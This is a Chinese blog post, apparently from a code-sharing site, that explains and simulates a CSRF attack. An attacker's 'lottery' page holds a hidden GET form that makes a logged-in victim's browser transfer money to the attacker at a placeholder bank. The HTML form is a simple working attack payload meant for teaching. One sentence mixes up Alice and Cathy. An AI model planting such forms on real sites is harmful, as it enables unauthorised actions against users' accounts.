关键词搜索

源码搜索 ×
×

csrf攻击模拟

发布2018-05-06浏览7544次

详情内容

     之前介绍过csrf的攻击原理和防御, 请见"https://blog.csdn.net/stpeace/article/details/53512283", 本文就不再赘述。

 

     最近模拟实践了一番,来简要说说:

      1.  Alice欠Bob 100元钱, 通过银行转账给Bob,  一切合情合理, Alice的浏览器执行的操作是:

http://www.bank.com/transfer.php?from=Alice&money=100&to=Bob

      2.   Cathy想攻击一下Alice,  所以Cathy在自己的浏览器执行:

http://www.bank.com/transfer.php?from=Alice&money=9999&to=Cathy

      显然, Cathy不能得逞, 因为Alice在转账的时候, 银行后台服务器会验证http请求中的cookie信息和身份, 确认是Alice本人, 才能真正执行转账操作(因为Alice输入过银行密码, 所以能确认Alice的身份)

     3. Cathy并不气馁, 就自己制作了一个网页, 访问方法是:http://www.benefit.com/choujiang.php,  用抽奖来吸引眼球,  choujiang.php吐回的内容是:

  1. <html>
  2. <body>
  3. <form method="get" action="http://www.bank.com/transfer.php">
  4. <input type="hidden" name="from" value="Alice">
  5. <input type="hidden" name="money" value="9999">
  6. <input type="hidden" name="to" value="Cathy">
  7. <input type="button" onclick="submit()" value="Begin Choujiang">
  8. </form>
  9. </body>
  10. </html>

       只要Alice点击了http://www.benefit.com/choujiang.php, 就会在自己的浏览器页面显示一个抽奖按钮。 

       如果Cathy刚给Bob转账完毕, 又点击了这个"Begin Choujiang"按钮, 就相当于Cathy的浏览器发起了如下请求:

http://www.bank.com/transfer.php?from=Alice&money=9999&to=Cathy

       此时, 一场悲剧上演了, 银行后台服务器从http的cookie中识别出确实是Alice在转账给Cathy, 是合理操作。但是,Alice并不知情, 于是9999元流进了Cathy的银行账户。

       本质上, 就是Alice无意中帮Cathy执行了Cathy自己想执行而没法执行的转账操作。

 

       应该说明白了, 有兴趣的朋友可以自己模拟下。

 

 

 

相关技术文章

点击QQ咨询
开通会员
返回顶部
×
微信扫码支付
微信扫码支付
确定支付下载
请使用微信描二维码支付
×

提示信息

×

选择支付方式

  • 微信支付
  • 支付宝付款
确定支付下载